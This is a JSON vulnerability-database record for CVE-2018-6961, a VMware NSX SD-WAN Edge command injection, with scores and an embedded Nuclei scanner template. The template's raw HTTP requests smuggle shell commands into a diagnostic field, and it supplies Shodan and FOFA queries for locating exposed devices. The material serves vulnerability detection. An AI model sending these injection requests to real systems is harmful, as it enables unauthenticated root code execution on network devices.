{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2018-6961/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2018-6961/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2018-6961/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2018-6961/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2018-6961/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2018-6961"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2018-6961"
    }
  },
  "enrichments": {
    "cisa-kev": {
      "kev": true
    },
    "epss": {
      "epss": 0.86252,
      "kev": true,
      "percentile": 0.99724
    },
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2018/CVE-2018-6961.yaml",
      "nuclei_template_severity": "critical",
      "nuclei_template_yaml": "id: CVE-2018-6961\n\ninfo:\n  name: VMware NSX SD-WAN Edge - Command Injection\n  author: D3nverNg,thewindghost\n  severity: critical\n  description: |\n    VMware NSX SD-WAN Edge (formerly VeloCloud Edge) before 3.1.2 contains an unauthenticated command injection in the local web UI diagnostic tools (Ping/Traceroute). This template detects it reliably by injecting 'id', 'whoami', and a random marker.\n  impact: |\n    Successful exploitation allows unauthenticated remote code execution as root.\n  remediation: |\n    Upgrade to VMware SD-WAN Edge version 3.1.2 or later (diagnostic web UI component removed).\n  reference:\n    - https://www.vmware.com/security/advisories/VMSA-2018-0011.html\n    - https://www.exploit-db.com/exploits/44959\n    - https://nvd.nist.gov/vuln/detail/CVE-2018-6961\n  classification:\n    cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 8.1\n    cve-id: CVE-2018-6961\n    epss-score: 0.86252\n    epss-percentile: 0.99724\n    cwe-id: CWE-78\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: vmware\n    product: nsx_sd-wan_edge\n    shodan-query: title:\"VeloCloud\"\n    fofa-query: title=\"VeloCloud\"\n  tags: cve,cve2018,vmware,nsx,sd-wan,velocloud,rce,kev,vkev,vuln\n\nvariables:\n  rand: \"{{rand_text_alphanumeric(10)}}\"\n\nhttp:\n  - raw:\n      - |\n        POST /scripts/ajaxPortal.lua HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded; charset=UTF-8\n\n        destination=8.8.8.8`id`&source=ge1&test=TRACEROUTE&requestTimeout=900&auth_token=&_cmd=run_diagnostic\n\n      - |\n        POST /scripts/ajaxPortal.lua HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded; charset=UTF-8\n\n        destination=8.8.8.8$(id;echo {{rand}})&source=ge1&test=TRACEROUTE&requestTimeout=900&auth_token=&_cmd=run_diagnostic\n\n    stop-at-first-match: true\n\n    matchers-condition: and\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"\\\"status\\\":\\\"OK\")'\n          - 'contains(content_type, \"application/json\")'\n        condition: and\n\n      - type: dsl\n        dsl:\n          - \"regex('uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)', body)\"\n          - \"regex('uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)', body) && contains(body, '{{rand}}')\"\n        condition: or\n\n      - type: word\n        part: body\n        words:\n          - \"UNKNOWN_COMMAND\"\n          - \"Invalid command\"\n        negative: true\n# digest: 4b0a00483046022100e19e205a157c1086c3161a4ef9b5ca934d2af896f901680f7d2aac564fa5b668022100a9c142512cfe72d9674722c0375aa0a0e3e404684a2c7ee056e9b7458c669b14:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2018-6961"
}